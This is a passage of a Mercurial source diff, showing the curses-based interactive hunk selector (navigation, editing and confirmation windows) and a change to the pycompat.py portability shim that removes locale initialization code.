1665 def commitMessageWindow(self):
1665 """Create a temporary commit message editing window on the screen."""
1666 """Create a temporary commit message editing window on the screen."""
1666
1667
1667 curses.raw()
1668 curses.raw()
1668 curses.def_prog_mode()
1669 curses.def_prog_mode()
1669 curses.endwin()
1670 curses.endwin()
1670 self.commenttext = self.ui.edit(self.commenttext, self.ui.username())
1671 self.commenttext = self.ui.edit(self.commenttext, self.ui.username())
1671 curses.cbreak()
1672 curses.cbreak()
1672 self.stdscr.refresh()
1673 self.stdscr.refresh()
1673 self.stdscr.keypad(1) # allow arrow-keys to continue to function
1674 self.stdscr.keypad(1) # allow arrow-keys to continue to function
1674
1675
1675 def handlefirstlineevent(self):
1676 def handlefirstlineevent(self):
1676 """
1677 """
1677 Handle 'g' to navigate to the top most file in the ncurses window.
1678 Handle 'g' to navigate to the top most file in the ncurses window.
1678 """
1679 """
1679 self.currentselecteditem = self.headerlist[0]
1680 self.currentselecteditem = self.headerlist[0]
1680 currentitem = self.currentselecteditem
1681 currentitem = self.currentselecteditem
1681 # select the parent item recursively until we're at a header
1682 # select the parent item recursively until we're at a header
1682 while True:
1683 while True:
1683 nextitem = currentitem.parentitem()
1684 nextitem = currentitem.parentitem()
1684 if nextitem is None:
1685 if nextitem is None:
1685 break
1686 break
1686 else:
1687 else:
1687 currentitem = nextitem
1688 currentitem = nextitem
1688
1689
1689 self.currentselecteditem = currentitem
1690 self.currentselecteditem = currentitem
1690
1691
1691 def handlelastlineevent(self):
1692 def handlelastlineevent(self):
1692 """
1693 """
1693 Handle 'G' to navigate to the bottom most file/hunk/line depending
1694 Handle 'G' to navigate to the bottom most file/hunk/line depending
1694 on the whether the fold is active or not.
1695 on the whether the fold is active or not.
1695
1696
1696 If the bottom most file is folded, it navigates to that file and
1697 If the bottom most file is folded, it navigates to that file and
1697 stops there. If the bottom most file is unfolded, it navigates to
1698 stops there. If the bottom most file is unfolded, it navigates to
1698 the bottom most hunk in that file and stops there. If the bottom most
1699 the bottom most hunk in that file and stops there. If the bottom most
1699 hunk is unfolded, it navigates to the bottom most line in that hunk.
1700 hunk is unfolded, it navigates to the bottom most line in that hunk.
1700 """
1701 """
1701 currentitem = self.currentselecteditem
1702 currentitem = self.currentselecteditem
1702 nextitem = currentitem.nextitem()
1703 nextitem = currentitem.nextitem()
1703 # select the child item recursively until we're at a footer
1704 # select the child item recursively until we're at a footer
1704 while nextitem is not None:
1705 while nextitem is not None:
1705 nextitem = currentitem.nextitem()
1706 nextitem = currentitem.nextitem()
1706 if nextitem is None:
1707 if nextitem is None:
1707 break
1708 break
1708 else:
1709 else:
1709 currentitem = nextitem
1710 currentitem = nextitem
1710
1711
1711 self.currentselecteditem = currentitem
1712 self.currentselecteditem = currentitem
1712 self.recenterdisplayedarea()
1713 self.recenterdisplayedarea()
1713
1714
1714 def confirmationwindow(self, windowtext):
1715 def confirmationwindow(self, windowtext):
1715 """display an informational window, then wait for and return a
1716 """display an informational window, then wait for and return a
1716 keypress."""
1717 keypress."""
1717
1718
1718 confirmwin = curses.newwin(self.yscreensize, 0, 0, 0)
1719 confirmwin = curses.newwin(self.yscreensize, 0, 0, 0)
1719 try:
1720 try:
1720 lines = windowtext.split(b"\n")
1721 lines = windowtext.split(b"\n")
1721 for line in lines:
1722 for line in lines:
1722 self.printstring(confirmwin, line, pairname=b"selected")
1723 self.printstring(confirmwin, line, pairname=b"selected")
1723 except curses.error:
1724 except curses.error:
1724 pass
1725 pass
1725 self.stdscr.refresh()
1726 self.stdscr.refresh()
1726 confirmwin.refresh()
1727 confirmwin.refresh()
1727 try:
1728 try:
1728 with self.ui.timeblockedsection(b'crecord'):
1729 with self.ui.timeblockedsection(b'crecord'):
1729 response = chr(self.stdscr.getch())
1730 response = chr(self.stdscr.getch())
1730 except ValueError:
1731 except ValueError:
1731 response = None
1732 response = None
1732
1733
1733 return response
1734 return response
1734
1735
1735 def reviewcommit(self):
1736 def reviewcommit(self):
1736 """ask for 'y' to be pressed to confirm selected. return True if
1737 """ask for 'y' to be pressed to confirm selected. return True if
1737 confirmed."""
1738 confirmed."""
1738 confirmtext = _(
1739 confirmtext = _(
1739 """If you answer yes to the following, your currently chosen patch chunks
1740 """If you answer yes to the following, your currently chosen patch chunks
1740 will be loaded into an editor. To modify the patch, make the changes in your
1741 will be loaded into an editor. To modify the patch, make the changes in your
1741 editor and save. To accept the current patch as-is, close the editor without
1742 editor and save. To accept the current patch as-is, close the editor without
1742 saving.
1743 saving.
1743
1744
1744 note: don't add/remove lines unless you also modify the range information.
1745 note: don't add/remove lines unless you also modify the range information.
1745 failing to follow this rule will result in the commit aborting.
1746 failing to follow this rule will result in the commit aborting.
1746
1747
1747 are you sure you want to review/edit and confirm the selected changes [yn]?
1748 are you sure you want to review/edit and confirm the selected changes [yn]?
1748 """
1749 """
1749 )
1750 )
1750 with self.ui.timeblockedsection(b'crecord'):
1751 with self.ui.timeblockedsection(b'crecord'):
1751 response = self.confirmationwindow(confirmtext)
1752 response = self.confirmationwindow(confirmtext)
1752 if response is None:
1753 if response is None:
1753 response = "n"
1754 response = "n"
1754 if response.lower().startswith("y"):
1755 if response.lower().startswith("y"):
1755 return True
1756 return True
1756 else:
1757 else:
1757 return False
1758 return False
1758
1759
1759 def recenterdisplayedarea(self):
1760 def recenterdisplayedarea(self):
1760 """
1761 """
1761 once we scrolled with pg up pg down we can be pointing outside of the
1762 once we scrolled with pg up pg down we can be pointing outside of the
1762 display zone. we print the patch with towin=False to compute the
1763 display zone. we print the patch with towin=False to compute the
1763 location of the selected item even though it is outside of the displayed
1764 location of the selected item even though it is outside of the displayed
1764 zone and then update the scroll.
1765 zone and then update the scroll.
1765 """
1766 """
1766 self.printitem(towin=False)
1767 self.printitem(towin=False)
1767 self.updatescroll()
1768 self.updatescroll()
1768
1769
1769 def toggleedit(self, item=None, test=False):
1770 def toggleedit(self, item=None, test=False):
1770 """
1771 """
1771 edit the currently selected chunk
1772 edit the currently selected chunk
1772 """
1773 """
1773
1774
1774 def updateui(self):
1775 def updateui(self):
1775 self.numpadlines = self.getnumlinesdisplayed(ignorefolding=True) + 1
1776 self.numpadlines = self.getnumlinesdisplayed(ignorefolding=True) + 1
1776 self.chunkpad = curses.newpad(self.numpadlines, self.xscreensize)
1777 self.chunkpad = curses.newpad(self.numpadlines, self.xscreensize)
1777 self.updatescroll()
1778 self.updatescroll()
1778 self.stdscr.refresh()
1779 self.stdscr.refresh()
1779 self.statuswin.refresh()
1780 self.statuswin.refresh()
1780 self.stdscr.keypad(1)
1781 self.stdscr.keypad(1)
1781
1782
1782 def editpatchwitheditor(self, chunk):
1783 def editpatchwitheditor(self, chunk):
1783 if chunk is None:
1784 if chunk is None:
1784 self.ui.write(_(b'cannot edit patch for whole file'))
1785 self.ui.write(_(b'cannot edit patch for whole file'))
1785 self.ui.write(b"\n")
1786 self.ui.write(b"\n")
1786 return None
1787 return None
1787 if chunk.header.binary():
1788 if chunk.header.binary():
1788 self.ui.write(_(b'cannot edit patch for binary file'))
1789 self.ui.write(_(b'cannot edit patch for binary file'))
1789 self.ui.write(b"\n")
1790 self.ui.write(b"\n")
1790 return None
1791 return None
1791
1792
1792 # write the initial patch
1793 # write the initial patch
1793 patch = stringio()
1794 patch = stringio()
1794 patch.write(diffhelptext + hunkhelptext)
1795 patch.write(diffhelptext + hunkhelptext)
1795 chunk.header.write(patch)
1796 chunk.header.write(patch)
1796 chunk.write(patch)
1797 chunk.write(patch)
1797
1798
1798 # start the editor and wait for it to complete
1799 # start the editor and wait for it to complete
1799 try:
1800 try:
1800 patch = self.ui.edit(patch.getvalue(), b"", action=b"diff")
1801 patch = self.ui.edit(patch.getvalue(), b"", action=b"diff")
1801 except error.Abort as exc:
1802 except error.Abort as exc:
1802 self.errorstr = stringutil.forcebytestr(exc)
1803 self.errorstr = stringutil.forcebytestr(exc)
1803 return None
1804 return None
1804 finally:
1805 finally:
1805 self.stdscr.clear()
1806 self.stdscr.clear()
1806 self.stdscr.refresh()
1807 self.stdscr.refresh()
1807
1808
1808 # remove comment lines
1809 # remove comment lines
1809 patch = [
1810 patch = [
1810 line + b'\n'
1811 line + b'\n'
1811 for line in patch.splitlines()
1812 for line in patch.splitlines()
1812 if not line.startswith(b'#')
1813 if not line.startswith(b'#')
1813 ]
1814 ]
1814 return patchmod.parsepatch(patch)
1815 return patchmod.parsepatch(patch)
1815
1816
1816 if item is None:
1817 if item is None:
1817 item = self.currentselecteditem
1818 item = self.currentselecteditem
1818 if isinstance(item, uiheader):
1819 if isinstance(item, uiheader):
1819 return
1820 return
1820 if isinstance(item, uihunkline):
1821 if isinstance(item, uihunkline):
1821 item = item.parentitem()
1822 item = item.parentitem()
1822 if not isinstance(item, uihunk):
1823 if not isinstance(item, uihunk):
1823 return
1824 return
1824
1825
1825 # To go back to that hunk or its replacement at the end of the edit
1826 # To go back to that hunk or its replacement at the end of the edit
1826 itemindex = item.parentitem().hunks.index(item)
1827 itemindex = item.parentitem().hunks.index(item)
1827
1828
1828 beforeadded, beforeremoved = item.added, item.removed
1829 beforeadded, beforeremoved = item.added, item.removed
1829 newpatches = editpatchwitheditor(self, item)
1830 newpatches = editpatchwitheditor(self, item)
1830 if newpatches is None:
1831 if newpatches is None:
1831 if not test:
1832 if not test:
1832 updateui(self)
1833 updateui(self)
1833 return
1834 return
1834 header = item.header
1835 header = item.header
1835 editedhunkindex = header.hunks.index(item)
1836 editedhunkindex = header.hunks.index(item)
1836 hunksbefore = header.hunks[:editedhunkindex]
1837 hunksbefore = header.hunks[:editedhunkindex]
1837 hunksafter = header.hunks[editedhunkindex + 1 :]
1838 hunksafter = header.hunks[editedhunkindex + 1 :]
1838 newpatchheader = newpatches[0]
1839 newpatchheader = newpatches[0]
1839 newhunks = [uihunk(h, header) for h in newpatchheader.hunks]
1840 newhunks = [uihunk(h, header) for h in newpatchheader.hunks]
1840 newadded = sum([h.added for h in newhunks])
1841 newadded = sum([h.added for h in newhunks])
1841 newremoved = sum([h.removed for h in newhunks])
1842 newremoved = sum([h.removed for h in newhunks])
1842 offset = (newadded - beforeadded) - (newremoved - beforeremoved)
1843 offset = (newadded - beforeadded) - (newremoved - beforeremoved)
1843
1844
1844 for h in hunksafter:
1845 for h in hunksafter:
1845 h.toline += offset
1846 h.toline += offset
1846 for h in newhunks:
1847 for h in newhunks:
1847 h.folded = False
1848 h.folded = False
1848 header.hunks = hunksbefore + newhunks + hunksafter
1849 header.hunks = hunksbefore + newhunks + hunksafter
1849 if self.emptypatch():
1850 if self.emptypatch():
1850 header.hunks = hunksbefore + [item] + hunksafter
1851 header.hunks = hunksbefore + [item] + hunksafter
1851 self.currentselecteditem = header
1852 self.currentselecteditem = header
1852 if len(header.hunks) > itemindex:
1853 if len(header.hunks) > itemindex:
1853 self.currentselecteditem = header.hunks[itemindex]
1854 self.currentselecteditem = header.hunks[itemindex]
1854
1855
1855 if not test:
1856 if not test:
1856 updateui(self)
1857 updateui(self)
1857
1858
1858 def emptypatch(self):
1859 def emptypatch(self):
1859 item = self.headerlist
1860 item = self.headerlist
1860 if not item:
1861 if not item:
1861 return True
1862 return True
1862 for header in item:
1863 for header in item:
1863 if header.hunks:
1864 if header.hunks:
1864 return False
1865 return False
1865 return True
1866 return True
1866
1867
1867 def handlekeypressed(self, keypressed, test=False):
1868 def handlekeypressed(self, keypressed, test=False):
1868 """
1869 """
1869 Perform actions based on pressed keys.
1870 Perform actions based on pressed keys.
1870
1871
1871 Return true to exit the main loop.
1872 Return true to exit the main loop.
1872 """
1873 """
1873 if keypressed in ["k", "KEY_UP"]:
1874 if keypressed in ["k", "KEY_UP"]:
1874 self.uparrowevent()
1875 self.uparrowevent()
1875 elif keypressed in ["K", "KEY_PPAGE"]:
1876 elif keypressed in ["K", "KEY_PPAGE"]:
1876 self.uparrowshiftevent()
1877 self.uparrowshiftevent()
1877 elif keypressed in ["j", "KEY_DOWN"]:
1878 elif keypressed in ["j", "KEY_DOWN"]:
1878 self.downarrowevent()
1879 self.downarrowevent()
1879 elif keypressed in ["J", "KEY_NPAGE"]:
1880 elif keypressed in ["J", "KEY_NPAGE"]:
1880 self.downarrowshiftevent()
1881 self.downarrowshiftevent()
1881 elif keypressed in ["l", "KEY_RIGHT"]:
1882 elif keypressed in ["l", "KEY_RIGHT"]:
1882 self.rightarrowevent()
1883 self.rightarrowevent()
1883 elif keypressed in ["h", "KEY_LEFT"]:
1884 elif keypressed in ["h", "KEY_LEFT"]:
1884 self.leftarrowevent()
1885 self.leftarrowevent()
1885 elif keypressed in ["H", "KEY_SLEFT"]:
1886 elif keypressed in ["H", "KEY_SLEFT"]:
1886 self.leftarrowshiftevent()
1887 self.leftarrowshiftevent()
1887 elif keypressed in ["q"]:
1888 elif keypressed in ["q"]:
1888 raise error.Abort(_(b'user quit'))
1889 raise error.Abort(_(b'user quit'))
1889 elif keypressed in ['a']:
1890 elif keypressed in ['a']:
1890 self.flipselections()
1891 self.flipselections()
1891 elif keypressed in ["c"]:
1892 elif keypressed in ["c"]:
1892 return True
1893 return True
1893 elif keypressed in ["r"]:
1894 elif keypressed in ["r"]:
1894 if self.reviewcommit():
1895 if self.reviewcommit():
1895 self.opts[b'review'] = True
1896 self.opts[b'review'] = True
1896 return True
1897 return True
1897 elif test and keypressed in ["R"]:
1898 elif test and keypressed in ["R"]:
1898 self.opts[b'review'] = True
1899 self.opts[b'review'] = True
1899 return True
1900 return True
1900 elif keypressed in [" ", "x"]:
1901 elif keypressed in [" ", "x"]:
1901 self.toggleapply()
1902 self.toggleapply()
1902 elif keypressed in ["\n", "KEY_ENTER"]:
1903 elif keypressed in ["\n", "KEY_ENTER"]:
1903 self.toggleapply()
1904 self.toggleapply()
1904 self.nextsametype(test=test)
1905 self.nextsametype(test=test)
1905 elif keypressed in ["X"]:
1906 elif keypressed in ["X"]:
1906 self.toggleallbetween()
1907 self.toggleallbetween()
1907 elif keypressed in ["A"]:
1908 elif keypressed in ["A"]:
1908 self.toggleall()
1909 self.toggleall()
1909 elif keypressed in ["e"]:
1910 elif keypressed in ["e"]:
1910 self.toggleedit(test=test)
1911 self.toggleedit(test=test)
1911 elif keypressed in ["f"]:
1912 elif keypressed in ["f"]:
1912 self.togglefolded()
1913 self.togglefolded()
1913 elif keypressed in ["F"]:
1914 elif keypressed in ["F"]:
1914 self.togglefolded(foldparent=True)
1915 self.togglefolded(foldparent=True)
1915 elif keypressed in ["m"]:
1916 elif keypressed in ["m"]:
1916 self.commitMessageWindow()
1917 self.commitMessageWindow()
1917 elif keypressed in ["g", "KEY_HOME"]:
1918 elif keypressed in ["g", "KEY_HOME"]:
1918 self.handlefirstlineevent()
1919 self.handlefirstlineevent()
1919 elif keypressed in ["G", "KEY_END"]:
1920 elif keypressed in ["G", "KEY_END"]:
1920 self.handlelastlineevent()
1921 self.handlelastlineevent()
1921 elif keypressed in ["?"]:
1922 elif keypressed in ["?"]:
1922 self.helpwindow()
1923 self.helpwindow()
1923 self.stdscr.clear()
1924 self.stdscr.clear()
1924 self.stdscr.refresh()
1925 self.stdscr.refresh()
1925 elif keypressed in [curses.ascii.ctrl("L")]:
1926 elif keypressed in [curses.ascii.ctrl("L")]:
1926 # scroll the current line to the top of the screen, and redraw
1927 # scroll the current line to the top of the screen, and redraw
1927 # everything
1928 # everything
1928 self.scrolllines(self.selecteditemstartline)
1929 self.scrolllines(self.selecteditemstartline)
1929 self.stdscr.clear()
1930 self.stdscr.clear()
1930 self.stdscr.refresh()
1931 self.stdscr.refresh()
1931
1932
1932 def main(self, stdscr):
1933 def main(self, stdscr):
1933 """
1934 """
1934 method to be wrapped by curses.wrapper() for selecting chunks.
1935 method to be wrapped by curses.wrapper() for selecting chunks.
1935 """
1936 """
1936
1937
1937 origsigwinch = sentinel = object()
1938 origsigwinch = sentinel = object()
1938 if util.safehasattr(signal, b'SIGWINCH'):
1939 if util.safehasattr(signal, b'SIGWINCH'):
1939 origsigwinch = signal.signal(signal.SIGWINCH, self.sigwinchhandler)
1940 origsigwinch = signal.signal(signal.SIGWINCH, self.sigwinchhandler)
1940 try:
1941 try:
1941 return self._main(stdscr)
1942 return self._main(stdscr)
1942 finally:
1943 finally:
1943 if origsigwinch is not sentinel:
1944 if origsigwinch is not sentinel:
1944 signal.signal(signal.SIGWINCH, origsigwinch)
1945 signal.signal(signal.SIGWINCH, origsigwinch)
1945
1946
1946 def _main(self, stdscr):
1947 def _main(self, stdscr):
1947 self.stdscr = stdscr
1948 self.stdscr = stdscr
1948 # error during initialization, cannot be printed in the curses
1949 # error during initialization, cannot be printed in the curses
1949 # interface, it should be printed by the calling code
1950 # interface, it should be printed by the calling code
1950 self.initexc = None
1951 self.initexc = None
1951 self.yscreensize, self.xscreensize = self.stdscr.getmaxyx()
1952 self.yscreensize, self.xscreensize = self.stdscr.getmaxyx()
1952
1953
1953 curses.start_color()
1954 curses.start_color()
1954 try:
1955 try:
1955 curses.use_default_colors()
1956 curses.use_default_colors()
1956 except curses.error:
1957 except curses.error:
1957 self.usecolor = False
1958 self.usecolor = False
1958
1959
1959 # In some situations we may have some cruft left on the "alternate
1960 # In some situations we may have some cruft left on the "alternate
1960 # screen" from another program (or previous iterations of ourself), and
1961 # screen" from another program (or previous iterations of ourself), and
1961 # we won't clear it if the scroll region is small enough to comfortably
1962 # we won't clear it if the scroll region is small enough to comfortably
1962 # fit on the terminal.
1963 # fit on the terminal.
1963 self.stdscr.clear()
1964 self.stdscr.clear()
1964
1965
1965 # don't display the cursor
1966 # don't display the cursor
1966 try:
1967 try:
1967 curses.curs_set(0)
1968 curses.curs_set(0)
1968 except curses.error:
1969 except curses.error:
1969 pass
1970 pass
1970
1971
1971 # available colors: black, blue, cyan, green, magenta, white, yellow
1972 # available colors: black, blue, cyan, green, magenta, white, yellow
1972 # init_pair(color_id, foreground_color, background_color)
1973 # init_pair(color_id, foreground_color, background_color)
1973 self.initcolorpair(None, None, name=b"normal")
1974 self.initcolorpair(None, None, name=b"normal")
1974 self.initcolorpair(
1975 self.initcolorpair(
1975 curses.COLOR_WHITE, curses.COLOR_MAGENTA, name=b"selected"
1976 curses.COLOR_WHITE, curses.COLOR_MAGENTA, name=b"selected"
1976 )
1977 )
1977 self.initcolorpair(curses.COLOR_RED, None, name=b"deletion")
1978 self.initcolorpair(curses.COLOR_RED, None, name=b"deletion")
1978 self.initcolorpair(curses.COLOR_GREEN, None, name=b"addition")
1979 self.initcolorpair(curses.COLOR_GREEN, None, name=b"addition")
1979 self.initcolorpair(
1980 self.initcolorpair(
1980 curses.COLOR_WHITE, curses.COLOR_BLUE, name=b"legend"
1981 curses.COLOR_WHITE, curses.COLOR_BLUE, name=b"legend"
1981 )
1982 )
1982 # newwin([height, width,] begin_y, begin_x)
1983 # newwin([height, width,] begin_y, begin_x)
1983 self.statuswin = curses.newwin(self.numstatuslines, 0, 0, 0)
1984 self.statuswin = curses.newwin(self.numstatuslines, 0, 0, 0)
1984 self.statuswin.keypad(1) # interpret arrow-key, etc. esc sequences
1985 self.statuswin.keypad(1) # interpret arrow-key, etc. esc sequences
1985
1986
1986 # figure out how much space to allocate for the chunk-pad which is
1987 # figure out how much space to allocate for the chunk-pad which is
1987 # used for displaying the patch
1988 # used for displaying the patch
1988
1989
1989 # stupid hack to prevent getnumlinesdisplayed from failing
1990 # stupid hack to prevent getnumlinesdisplayed from failing
1990 self.chunkpad = curses.newpad(1, self.xscreensize)
1991 self.chunkpad = curses.newpad(1, self.xscreensize)
1991
1992
1992 # add 1 so to account for last line text reaching end of line
1993 # add 1 so to account for last line text reaching end of line
1993 self.numpadlines = self.getnumlinesdisplayed(ignorefolding=True) + 1
1994 self.numpadlines = self.getnumlinesdisplayed(ignorefolding=True) + 1
1994
1995
1995 try:
1996 try:
1996 self.chunkpad = curses.newpad(self.numpadlines, self.xscreensize)
1997 self.chunkpad = curses.newpad(self.numpadlines, self.xscreensize)
1997 except curses.error:
1998 except curses.error:
1998 self.initexc = fallbackerror(
1999 self.initexc = fallbackerror(
1999 _(b'this diff is too large to be displayed')
2000 _(b'this diff is too large to be displayed')
2000 )
2001 )
2001 return
2002 return
2002 # initialize selecteditemendline (initial start-line is 0)
2003 # initialize selecteditemendline (initial start-line is 0)
2003 self.selecteditemendline = self.getnumlinesdisplayed(
2004 self.selecteditemendline = self.getnumlinesdisplayed(
2004 self.currentselecteditem, recursechildren=False
2005 self.currentselecteditem, recursechildren=False
2005 )
2006 )
2006
2007
2007 while True:
2008 while True:
2008 self.updatescreen()
2009 self.updatescreen()
2009 try:
2010 try:
2010 with self.ui.timeblockedsection(b'crecord'):
2011 with self.ui.timeblockedsection(b'crecord'):
2011 keypressed = self.statuswin.getkey()
2012 keypressed = self.statuswin.getkey()
2012 if self.errorstr is not None:
2013 if self.errorstr is not None:
2013 self.errorstr = None
2014 self.errorstr = None
2014 continue
2015 continue
2015 except curses.error:
2016 except curses.error:
2016 keypressed = b"foobar"
2017 keypressed = b"foobar"
2017 if self.handlekeypressed(keypressed):
2018 if self.handlekeypressed(keypressed):
2018 break
2019 break
2019
2020
2020 if self.commenttext != b"":
2021 if self.commenttext != b"":
2021 whitespaceremoved = re.sub(
2022 whitespaceremoved = re.sub(
2022 br"(?m)^\s.*(\n|$)", b"", self.commenttext
2023 br"(?m)^\s.*(\n|$)", b"", self.commenttext
2023 )
2024 )
2024 if whitespaceremoved != b"":
2025 if whitespaceremoved != b"":
2025 self.opts[b'message'] = self.commenttext
2026 self.opts[b'message'] = self.commenttext
@@ -1,552 +1,531 b''
1 # pycompat.py - portability shim for python 3
1 # pycompat.py - portability shim for python 3
2 #
2 #
3 # This software may be used and distributed according to the terms of the
3 # This software may be used and distributed according to the terms of the
4 # GNU General Public License version 2 or any later version.
4 # GNU General Public License version 2 or any later version.
5
5
6 """Mercurial portability shim for python 3.
6 """Mercurial portability shim for python 3.
7
7
8 This contains aliases to hide python version-specific details from the core.
8 This contains aliases to hide python version-specific details from the core.
9 """
9 """
10
10
11 from __future__ import absolute_import
11 from __future__ import absolute_import
12
12
13 import getopt
13 import getopt
14 import inspect
14 import inspect
15 import json
15 import json
16 import locale
17 import os
16 import os
18 import shlex
17 import shlex
19 import sys
18 import sys
20 import tempfile
19 import tempfile
21
20
22 ispy3 = sys.version_info[0] >= 3
21 ispy3 = sys.version_info[0] >= 3
23 ispypy = '__pypy__' in sys.builtin_module_names
22 ispypy = '__pypy__' in sys.builtin_module_names
24 TYPE_CHECKING = False
23 TYPE_CHECKING = False
25
24
26 if not globals(): # hide this from non-pytype users
25 if not globals(): # hide this from non-pytype users
27 import typing
26 import typing
28
27
29 TYPE_CHECKING = typing.TYPE_CHECKING
28 TYPE_CHECKING = typing.TYPE_CHECKING
30
29
31 if not ispy3:
30 if not ispy3:
32 import cookielib
31 import cookielib
33 import cPickle as pickle
32 import cPickle as pickle
34 import httplib
33 import httplib
35 import Queue as queue
34 import Queue as queue
36 import SocketServer as socketserver
35 import SocketServer as socketserver
37 import xmlrpclib
36 import xmlrpclib
38
37
39 from .thirdparty.concurrent import futures
38 from .thirdparty.concurrent import futures
40
39
41 def future_set_exception_info(f, exc_info):
40 def future_set_exception_info(f, exc_info):
42 f.set_exception_info(*exc_info)
41 f.set_exception_info(*exc_info)
43
42
44
43
45 else:
44 else:
46 import concurrent.futures as futures
45 import concurrent.futures as futures
47 import http.cookiejar as cookielib
46 import http.cookiejar as cookielib
48 import http.client as httplib
47 import http.client as httplib
49 import pickle
48 import pickle
50 import queue as queue
49 import queue as queue
51 import socketserver
50 import socketserver
52 import xmlrpc.client as xmlrpclib
51 import xmlrpc.client as xmlrpclib
53
52
54 def future_set_exception_info(f, exc_info):
53 def future_set_exception_info(f, exc_info):
55 f.set_exception(exc_info[0])
54 f.set_exception(exc_info[0])
56
55
57
56
58 def identity(a):
57 def identity(a):
59 return a
58 return a
60
59
61
60
62 def _rapply(f, xs):
61 def _rapply(f, xs):
63 if xs is None:
62 if xs is None:
64 # assume None means non-value of optional data
63 # assume None means non-value of optional data
65 return xs
64 return xs
66 if isinstance(xs, (list, set, tuple)):
65 if isinstance(xs, (list, set, tuple)):
67 return type(xs)(_rapply(f, x) for x in xs)
66 return type(xs)(_rapply(f, x) for x in xs)
68 if isinstance(xs, dict):
67 if isinstance(xs, dict):
69 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
68 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
70 return f(xs)
69 return f(xs)
71
70
72
71
73 def rapply(f, xs):
72 def rapply(f, xs):
74 """Apply function recursively to every item preserving the data structure
73 """Apply function recursively to every item preserving the data structure
75
74
76 >>> def f(x):
75 >>> def f(x):
77 ... return 'f(%s)' % x
76 ... return 'f(%s)' % x
78 >>> rapply(f, None) is None
77 >>> rapply(f, None) is None
79 True
78 True
80 >>> rapply(f, 'a')
79 >>> rapply(f, 'a')
81 'f(a)'
80 'f(a)'
82 >>> rapply(f, {'a'}) == {'f(a)'}
81 >>> rapply(f, {'a'}) == {'f(a)'}
83 True
82 True
84 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
83 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
85 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
84 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
86
85
87 >>> xs = [object()]
86 >>> xs = [object()]
88 >>> rapply(identity, xs) is xs
87 >>> rapply(identity, xs) is xs
89 True
88 True
90 """
89 """
91 if f is identity:
90 if f is identity:
92 # fast path mainly for py2
91 # fast path mainly for py2
93 return xs
92 return xs
94 return _rapply(f, xs)
93 return _rapply(f, xs)
95
94
96
95
97 # Passing the '' locale means that the locale should be set according to the
98 # user settings (environment variables).
99 # Python sometimes avoids setting the global locale settings. When interfacing
100 # with C code (e.g. the curses module or the Subversion bindings), the global
101 # locale settings must be initialized correctly. Python 2 does not initialize
102 # the global locale settings on interpreter startup. Python 3 sometimes
103 # initializes LC_CTYPE, but not consistently at least on Windows. Therefore we
104 # explicitly initialize it to get consistent behavior if it's not already
105 # initialized. Since CPython commit 177d921c8c03d30daa32994362023f777624b10d,
106 # LC_CTYPE is always initialized. If we require Python 3.8+, we should re-check
107 # if we can remove this code.
108 if locale.setlocale(locale.LC_CTYPE, None) == 'C':
109 try:
110 locale.setlocale(locale.LC_CTYPE, '')
111 except locale.Error:
112 # The likely case is that the locale from the environment variables is
113 # unknown.
114 pass
115
116
117 if ispy3:
96 if ispy3:
118 import builtins
97 import builtins
119 import codecs
98 import codecs
120 import functools
99 import functools
121 import io
100 import io
122 import struct
101 import struct
123
102
124 if os.name == r'nt' and sys.version_info >= (3, 6):
103 if os.name == r'nt' and sys.version_info >= (3, 6):
125 # MBCS (or ANSI) filesystem encoding must be used as before.
104 # MBCS (or ANSI) filesystem encoding must be used as before.
126 # Otherwise non-ASCII filenames in existing repositories would be
105 # Otherwise non-ASCII filenames in existing repositories would be
127 # corrupted.
106 # corrupted.
128 # This must be set once prior to any fsencode/fsdecode calls.
107 # This must be set once prior to any fsencode/fsdecode calls.
129 sys._enablelegacywindowsfsencoding() # pytype: disable=module-attr
108 sys._enablelegacywindowsfsencoding() # pytype: disable=module-attr
130
109
131 fsencode = os.fsencode
110 fsencode = os.fsencode
132 fsdecode = os.fsdecode
111 fsdecode = os.fsdecode
133 oscurdir = os.curdir.encode('ascii')
112 oscurdir = os.curdir.encode('ascii')
134 oslinesep = os.linesep.encode('ascii')
113 oslinesep = os.linesep.encode('ascii')
135 osname = os.name.encode('ascii')
114 osname = os.name.encode('ascii')
136 ospathsep = os.pathsep.encode('ascii')
115 ospathsep = os.pathsep.encode('ascii')
137 ospardir = os.pardir.encode('ascii')
116 ospardir = os.pardir.encode('ascii')
138 ossep = os.sep.encode('ascii')
117 ossep = os.sep.encode('ascii')
139 osaltsep = os.altsep
118 osaltsep = os.altsep
140 if osaltsep:
119 if osaltsep:
141 osaltsep = osaltsep.encode('ascii')
120 osaltsep = osaltsep.encode('ascii')
142 osdevnull = os.devnull.encode('ascii')
121 osdevnull = os.devnull.encode('ascii')
143
122
144 sysplatform = sys.platform.encode('ascii')
123 sysplatform = sys.platform.encode('ascii')
145 sysexecutable = sys.executable
124 sysexecutable = sys.executable
146 if sysexecutable:
125 if sysexecutable:
147 sysexecutable = os.fsencode(sysexecutable)
126 sysexecutable = os.fsencode(sysexecutable)
148 bytesio = io.BytesIO
127 bytesio = io.BytesIO
149 # TODO deprecate stringio name, as it is a lie on Python 3.
128 # TODO deprecate stringio name, as it is a lie on Python 3.
150 stringio = bytesio
129 stringio = bytesio
151
130
152 def maplist(*args):
131 def maplist(*args):
153 return list(map(*args))
132 return list(map(*args))
154
133
155 def rangelist(*args):
134 def rangelist(*args):
156 return list(range(*args))
135 return list(range(*args))
157
136
158 def ziplist(*args):
137 def ziplist(*args):
159 return list(zip(*args))
138 return list(zip(*args))
160
139
161 rawinput = input
140 rawinput = input
162 getargspec = inspect.getfullargspec
141 getargspec = inspect.getfullargspec
163
142
164 long = int
143 long = int
165
144
166 # Warning: sys.stdout.buffer and sys.stderr.buffer do not necessarily have
145 # Warning: sys.stdout.buffer and sys.stderr.buffer do not necessarily have
167 # the same buffering behavior as sys.stdout and sys.stderr. The interpreter
146 # the same buffering behavior as sys.stdout and sys.stderr. The interpreter
168 # initializes them with block-buffered streams or unbuffered streams (when
147 # initializes them with block-buffered streams or unbuffered streams (when
169 # the -u option or the PYTHONUNBUFFERED environment variable is set), never
148 # the -u option or the PYTHONUNBUFFERED environment variable is set), never
170 # with a line-buffered stream.
149 # with a line-buffered stream.
171 # TODO: .buffer might not exist if std streams were replaced; we'll need
150 # TODO: .buffer might not exist if std streams were replaced; we'll need
